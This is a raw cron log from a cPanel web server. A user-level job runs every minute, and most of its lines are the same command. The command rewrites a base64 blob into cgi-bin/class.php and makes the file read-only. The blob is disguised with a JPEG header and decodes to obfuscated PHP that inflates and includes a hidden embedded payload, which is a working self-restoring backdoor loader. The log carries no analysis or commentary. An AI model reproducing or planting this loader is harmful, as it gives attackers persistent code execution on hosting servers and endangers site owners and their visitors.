Nov 13 20:21:01 server CROND[15752]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:22:01 server CROND[16704]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:23:01 server CROND[17573]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:24:01 server CROND[18440]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:25:01 server CROND[19302]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 13 20:25:01 server CROND[19303]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:25:01 server CROND[19305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 20:25:01 server CROND[19304]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 20:26:01 server CROND[20219]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:27:01 server CROND[21157]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:27:01 server CROND[21158]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 20:28:01 server CROND[22011]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:29:01 server CROND[22867]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:30:01 server CROND[23732]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:30:01 server CROND[23733]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 20:30:01 server CROND[23735]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 20:30:01 server CROND[23734]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 13 20:30:01 server CROND[23736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 20:31:01 server CROND[24722]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:32:01 server CROND[25502]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:33:01 server CROND[26481]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
